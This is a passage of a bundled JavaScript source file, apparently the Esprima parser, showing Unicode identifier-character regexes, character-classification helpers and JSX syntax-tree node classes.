964 NonAsciiIdentifierStart: /[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0-\u08B4\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FD5\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AD\uA7B0-\uA7B7\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC03-\uDC37\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDF00-\uDF19]|\uD806[\uDCA0-\uDCDF\uDCFF\uDEC0-\uDEF8]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50\uDF93-\uDF9F]|\uD82C[\uDC00\uDC01]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD83A[\uDC00-\uDCC4]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1]|\uD87E[\uDC00-\uDE1D]/,
965 // Unicode v8.0.0 NonAsciiIdentifierPart:
966 NonAsciiIdentifierPart: /[\xAA\xB5\xB7\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05F0-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u0800-\u082D\u0840-\u085B\u08A0-\u08B4\u08E3-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0AF9\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C60-\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D01-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D57\u0D5F-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1369-\u1371\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u1810-\u1819\u1820-\u1877\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1B00-\u1B4B\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1CD0-\u1CD2\u1CD4-\u1CF6\u1CF8\u1CF9\u1D00-\u1DF5\u1DFC-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FD5\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AD\uA7B0-\uA7B7\uA7F7-\uA827\uA840-\uA873\uA880-\uA8C4\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA8FD\uA900-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE38-\uDE3A\uDE3F\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE6\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC00-\uDC46\uDC66-\uDC6F\uDC7F-\uDCBA\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD00-\uDD34\uDD36-\uDD3F\uDD50-\uDD73\uDD76\uDD80-\uDDC4\uDDCA-\uDDCC\uDDD0-\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE37\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEEA\uDEF0-\uDEF9\uDF00-\uDF03\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3C-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF50\uDF57\uDF5D-\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC80-\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDB5\uDDB8-\uDDC0\uDDD8-\uDDDD\uDE00-\uDE40\uDE44\uDE50-\uDE59\uDE80-\uDEB7\uDEC0-\uDEC9\uDF00-\uDF19\uDF1D-\uDF2B\uDF30-\uDF39]|\uD806[\uDCA0-\uDCE9\uDCFF\uDEC0-\uDEF8]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDED0-\uDEED\uDEF0-\uDEF4\uDF00-\uDF36\uDF40-\uDF43\uDF50-\uDF59\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50-\uDF7E\uDF8F-\uDF9F]|\uD82C[\uDC00\uDC01]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99\uDC9D\uDC9E]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD83A[\uDC00-\uDCC4\uDCD0-\uDCD6]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1]|\uD87E[\uDC00-\uDE1D]|\uDB40[\uDD00-\uDDEF]/
967 };
968 exports.Character = {
969 /* tslint:disable:no-bitwise */
970 fromCodePoint: function (cp) {
971 return (cp < 0x10000) ? String.fromCharCode(cp) :
972 String.fromCharCode(0xD800 + ((cp - 0x10000) >> 10)) +
973 String.fromCharCode(0xDC00 + ((cp - 0x10000) & 1023));
974 },
975 // https://tc39.github.io/ecma262/#sec-white-space
976 isWhiteSpace: function (cp) {
977 return (cp === 0x20) || (cp === 0x09) || (cp === 0x0B) || (cp === 0x0C) || (cp === 0xA0) ||
978 (cp >= 0x1680 && [0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200A, 0x202F, 0x205F, 0x3000, 0xFEFF].indexOf(cp) >= 0);
979 },
980 // https://tc39.github.io/ecma262/#sec-line-terminators
981 isLineTerminator: function (cp) {
982 return (cp === 0x0A) || (cp === 0x0D) || (cp === 0x2028) || (cp === 0x2029);
983 },
984 // https://tc39.github.io/ecma262/#sec-names-and-keywords
985 isIdentifierStart: function (cp) {
986 return (cp === 0x24) || (cp === 0x5F) ||
987 (cp >= 0x41 && cp <= 0x5A) ||
988 (cp >= 0x61 && cp <= 0x7A) ||
989 (cp === 0x5C) ||
990 ((cp >= 0x80) && Regex.NonAsciiIdentifierStart.test(exports.Character.fromCodePoint(cp)));
991 },
992 isIdentifierPart: function (cp) {
993 return (cp === 0x24) || (cp === 0x5F) ||
994 (cp >= 0x41 && cp <= 0x5A) ||
995 (cp >= 0x61 && cp <= 0x7A) ||
996 (cp >= 0x30 && cp <= 0x39) ||
997 (cp === 0x5C) ||
998 ((cp >= 0x80) && Regex.NonAsciiIdentifierPart.test(exports.Character.fromCodePoint(cp)));
999 },
1000 // https://tc39.github.io/ecma262/#sec-literals-numeric-literals
1001 isDecimalDigit: function (cp) {
1002 return (cp >= 0x30 && cp <= 0x39); // 0..9
1003 },
1004 isHexDigit: function (cp) {
1005 return (cp >= 0x30 && cp <= 0x39) ||
1006 (cp >= 0x41 && cp <= 0x46) ||
1007 (cp >= 0x61 && cp <= 0x66); // a..f
1008 },
1009 isOctalDigit: function (cp) {
1010 return (cp >= 0x30 && cp <= 0x37); // 0..7
1011 }
1012 };
1013
1014
1015/***/ },
1016/* 5 */
1017/***/ function(module, exports, __webpack_require__) {
1018
1019 "use strict";
1020 Object.defineProperty(exports, "__esModule", { value: true });
1021 var jsx_syntax_1 = __webpack_require__(6);
1022 /* tslint:disable:max-classes-per-file */
1023 var JSXClosingElement = (function () {
1024 function JSXClosingElement(name) {
1025 this.type = jsx_syntax_1.JSXSyntax.JSXClosingElement;
1026 this.name = name;
1027 }
1028 return JSXClosingElement;
1029 }());
1030 exports.JSXClosingElement = JSXClosingElement;
1031 var JSXElement = (function () {
1032 function JSXElement(openingElement, children, closingElement) {
1033 this.type = jsx_syntax_1.JSXSyntax.JSXElement;
1034 this.openingElement = openingElement;
1035 this.children = children;
1036 this.closingElement = closingElement;
1037 }
1038 return JSXElement;
1039 }());
1040 exports.JSXElement = JSXElement;
1041 var JSXEmptyExpression = (function () {
1042 function JSXEmptyExpression() {
1043 this.type = jsx_syntax_1.JSXSyntax.JSXEmptyExpression;
1044 }
1045 return JSXEmptyExpression;
1046 }());
1047 exports.JSXEmptyExpression = JSXEmptyExpression;
1048 var JSXExpressionContainer = (function () {
1049 function JSXExpressionContainer(expression) {
1050 this.type = jsx_syntax_1.JSXSyntax.JSXExpressionContainer;
1051 this.expression = expression;
1052 }
1053 return JSXExpressionContainer;
1054 }());
1055 exports.JSXExpressionContainer = JSXExpressionContainer;
1056 var JSXIdentifier = (function () {
1057 function JSXIdentifier(name) {
1058 this.type = jsx_syntax_1.JSXSyntax.JSXIdentifier;
1059 this.name = name;
1060 }
1061 return JSXIdentifier;
1062 }());
1063 exports.JSXIdentifier = JSXIdentifier;
1064 var JSXMemberExpression = (function () {
1065 function JSXMemberExpression(object, property) {
1066 this.type = jsx_syntax_1.JSXSyntax.JSXMemberExpression;
1067 this.object = object;
1068 this.property = property;
1069 }
1070 return JSXMemberExpression;
1071 }());
